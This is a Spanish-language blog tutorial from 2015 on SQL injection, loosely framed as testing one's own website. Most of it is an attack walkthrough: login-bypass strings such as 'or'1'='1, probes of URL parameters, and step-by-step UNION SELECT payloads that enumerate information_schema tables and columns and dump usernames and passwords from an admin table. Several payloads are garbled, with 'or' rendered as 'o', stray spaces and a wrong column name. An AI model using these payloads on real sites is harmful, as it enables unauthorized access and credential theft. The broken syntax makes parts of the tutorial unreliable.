domingo, 21 de junio de 2015

¿Que es y como funciona SQL inyección ?


figura 1: SQLI imagen tomada de  xtremehackz007.com

El SQLStructured Query Language” o lenguaje de consulta  estructurado, es un lenguaje de consulta para  bases de datos creado alrededor de 1973 por investigadores de IBM, el SQLI es una vulnerabilidad centrada en consultas de la base de datos de una aplicación, esta vulnerabilidad puede estar en todo tipo de lenguajes de programación como por ejemplo PHP, JAVA, PERL, C#, ASP, dicha vulnerabilidad  fue descubierta en 1999 y a día de hoy se sigue utilizando, tanto para  la realizar auditorías de seguridad así como para, realizar instrucciones en sistemas informáticos.Una Inyección SQL o SQLi suele suceder cuando se inyecta un código SQL al lenguaje para alterar el contenido y su funcionamiento normal y hacer que se ejecute el código malicioso en la base de datos. La mayor de las veces estos errores en las SQL son por la ignorancia del lenguaje pero este código puede ser reparado por programadores o personas que tengan el conocimiento suficiente para poder reparar el error.

Si  un sitio web es  vulnerable bastara  realizar una  sentencia  en  SQL tan  fácil  como  una  coma (‘)en la URL de  dicho  sitio  hecho esto  nos  saldrá  un  erro de  sentencia,ejemplo


pagina.com./search.php?id=1 ’


Error [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'o 1 = 1--' and password = '24eac25cb9e14577e0defdf9e50645c839ff62c4' and activo ' at line 1] en el query [] que está en la linea 380 del archivo Autenticacion.class.php


También,existen cientos de formas  y maneras para  logearte a un sitio web,a través de  sentencias sql esto ocurre gracias a un error de interpretación  por parte del servido r de la base de  datos , aquí les dejo unas cuantas, cada una  debe utilizarse como usuario  y contraseña.


figura 1:forma de  logearte 



figura 2: resultado del   intento de ingreso "positivo"


User : ‘or’1’=’1 ‘or’1’=’1
Password: ‘or’1’=’1 ‘or’1’=’1

1) admin '- 
2) admin '#
3) admin '/ * 
4) 'o 1 = 1—
5) 'o 1 = 1 #
6) 'o 1 = 1 / * 
7) ') o' 1 '=' 1—
8) ') o ('1' = '1—                                                                               
9) ‘or’1’=’1
10) ‘or’1’=’1 ‘or’1’=’1


Uno de los lenguajes que más posee esta  vulnerabilidad en  sitios  web es el php por lo tanto la mayoría  de ataques van dirigidos a páginas con  este  tipo de  lenguaje de programación,  por lo tanto realizaremos el tutorial basándonos en este lenguaje.


Para saber si el sitio es vulnerable existen varias formas de saber, como la versión del lenguaje php, si te creaste una Web con un auto instalador como SMF, PHP NUKE.

procura siempre tener la versión más nueva, ya que existen exploits o vulnerabilidades que pueden ser explotadas para que el sitio tenga un mal funcionamiento, se dice que PHP NUKE es uno de los proveedores de sitios php más vulnerables, no se garantiza tenerlo solo por sus Themes "Temas" y su facilidad, se recomienda hacer páginas Web con el lenguaje HTML.

Tu sitio Web podría ser vulnerable a sus ID, actions, opcions, etc., estas vulnerabilidades quizás tu ya las hallas visto como:

pagina.com/search.php?id=NUMERO
pagina.com/menu.php?act=NUMERO
pagina.com/index.php?opc=NUMERO

Algunos de esos podrían tener una vulnerabilidad SQLi para poder saber si tiene una vulnerabilidad habrá que hacer una consulta como:

pagina.com/search.php?id=-1
pagina.com/menu.php?act='2
pagina.com/index.php?opc=99999999999999999999999999

Hay que probar con esas que son las básicas, en la primera sale -1, las páginas siempre están con números positivos es raro ver una página Web que tenga opciones con -1, -2 entonces causa de esto puede salir un error de SQLi, la pantalla podría ponerse blanca, etc.

En la segunda es un '2, ¿por qué '?, porque ' es un signo que no se usa en las páginas webs, o acaso has visto una Web que use ', el 2 es cualquier número pero la mayoría de las veces resulta el número 2, para saber si funciona sale lo mismo que en el ejemplo anterior.

En la tercera nunca ponen tantos números si te das cuenta casi siempre el usuario admin es pagina.com o 1 porque es el primer miembro que estuvo pero si yo pongo pagina.com la página Web colapsa y entregaría errores.

Ejemplo de error:

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/public_html/users.php on line 16



figura 3:error de syntax



PD: IMPORTANTE, si la web es vulnerable los 99999999 y -1 solo pueden continuar, el '2 da errores.

Si el sitio Web resulta vulnerable, y si es tú Web tendrías que saber si entrega datos importantes como la "Information_schema.tables", que contiene toda información del sitio Web, las columnas, tablas, etc.

Primero como ya sabemos que el sitio Web es vulnerable debemos poner:

pagina.com/users.php?id=-1+

Tenemos que poner el signo "+" pero obviamente antes la vulnerabilidad encontrada
luego debemos hacer un union+select+ que es para unir la selección de la vulnerabilidad y seguir, ahora:

pagina.com/users.php?id=-1+union+select+

Quedaría así, como ya tenemos eso ahora debemos poner los números para ver que numero es el que tiene el error, una de las formas que se utiliza es así:

pagina.com/users.php?id=-1+union+select+1,2,3,4,n

Tenemos que hacer esto hasta que la web muestre números o cambie, pero debe mostrar números esos números que muestre son los errores, entonces podemos ver si nuestra Web es vulnerable o no, para saber tenemos que ver la versión:

pagina.com/users.php?id=-1+union+select+1,2,3,@@version,5,6,7,8,9

Si fuera tu Web y es vulnerable podría decir algo como: 5.0.38-Ubuntu_0ubuntu1.4 ahora que tenemos la versión este es un breve resumen de las versiones:

Versión 5.X.XX tienen information_schema.tables (Mas Probabilidad de ser atacadas)

Versión 4.X.XX no tienen information_schema.tables (Menos Probabilidad de ser atacadas)


Lo demás es el S.O que se está usando en el Host. Si tu Web no es 5.X.XX podrías estar feliz de que tienes menos posibilidad de que "Defaceen" tu sitio Web.Pero si tu Web es 5.X.XX tienes más probabilidades, para saber si tu página Web muestra datos importantes tendremos que borrar lo que hicimos (@@version) y cambiarlo por el número que tenía el error, ahora debemos ver el information_schema.tables de nuestro sitio Web, el código es así:

pagina.com/users.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6, 7,8,9+information_schema.tables

El código en si explicado es cambiar el número que tiene error (que se muestra) por "group_concat(table_name)" que significa que busca el grupo de tablas (Todas) luego de eso seguimos con los otros números y al final se le agrega "+information_schema.tables", si te tira cosas como:

"CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET _APPLICABILITY,etc."

Es porque tu sitio es vulnerable y podrías perderlo si alguien tiene conocimientos y un pensamiento nefasto.

Pero el código anterior es un poco desordenado este es otro compuesto por frases en hexadecimal:

pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. table

Ahora que sabemos que en nuestro sitio es visible el information_schema.tables, debemos saber qué información obtendrá el atacante. 

Primero debemos saber que queremos explorar... como por ejemplo usuarios!

las páginas web no son tan "prehistóricas" para solo poner usuarios y te saldrán los datos así que encriptaremos la tabla que queramos ver a ASCII.

(Convertidor: String to ASCII chart, ASCII to decimal convertor, String to decimal converter, string hexadecimal / hex conversion)

Codificamos a ascii la tabla que queramos y la dejamos anotada, la mía es (97 100 109 105 110)
a nuestro código en ASCII le sacamos los espacios y los remplazamos por comas:

97,100,109,105,110 

Ahora volvemos a el código para ver el information_schema.tables, pero ahora lo que vamos a ver son columnas (Son lo que está dentro de una tabla) Ejemplo:

Tabla: Admin 
Columna: ID, User_Name, Password, Email

Entendido?, entonces remplazamos 

pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_na me),0x2C,0x3C62723E),5,6,7,8,9+information_schema. tables 

table_name por column_name 
information_schema.tables por information_schema.columns

quedaría así:

pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns

Ahora nos tiraría datos que no habíamos visto, pero ignoren esto, ya que no es muy importante ahora lo que tienen que hacer es agregar después de .columns esto:

Quedaría así:

pagina.com/users.php?id=-1+union+select+1,2,3,replace(group_concat(table_co lumn),0x2C,0x3C62723E),5,6,7,8,9+information_schem a.columns+where+table_name=char(ASCII)--

Ahora ya sabemos lo que está dentro de la tabla que queríamos !, hemos explorado nuestra information_schema.tables eso es un gran avance.

como sabemos todo esto podemos ver que hay en estas columnas!, para saber debemos ir muy atrás y tener nuestro código principal que es este:

pagina.com/users.php?id=-1+union+select+1,2,3,4,5,6,7,8,9

¿Cierto?, Bueno ahora manos a la obra (Frase Prehistórica), Bueno nosotros sabemos que el código donde está el error es el que se ve en la página web que es un número; en esta guía el número es 4 así que remplazaremos el numero 4 por concat(Columna,0x3d,Columna).

Entonces el Código quedaría así:

pagina.com/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna), 5,6,7,8,9

No me refiero a que se deba poner sí o sí "Columna" eso se debe renombrar por los datos que nos dio el information_schema.columns, como el ejemplo que di:

Tabla: Admin 
Columna: ID, User_Name, Password, Email

Entonces quedaría así:

pagina.com/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor d),5,6,7,8,9

Ahora tengo que decirles que este código no está completo, al final de los números les agregamos +from+Tabla--

Entonces quedaría algo así:

pagina.com/users.php?id=-1+union+select+1,2,3,concat(Columna,0x3d,Columna), 5,6,7,8,9+from+admin--

y renombrando quedaría:

pagina.com/users.php?id=-1+union+select+1,2,3,concat(User_Name,0x3d,Passwor d),5,6,7,8,9+from+admin--

Ahora te podría dar tu usuario y clave, si te deniega es porque tu host es más seguro de lo que pensabas, si encuentras este error  es mejor que lo soluciones  o te verás en grandes problemas 

aunque esta  seria  la forma manual  actualmente existen muchas herramientas que nos permiten automatizar  todo  esta  herramientas como havij,hackbar, etc... pero  si  quieres  realmente aprender practica  continuamente, hasta  lograrlo.

Hasta `pronto....






No hay comentarios:

Tu Comentario Es Importante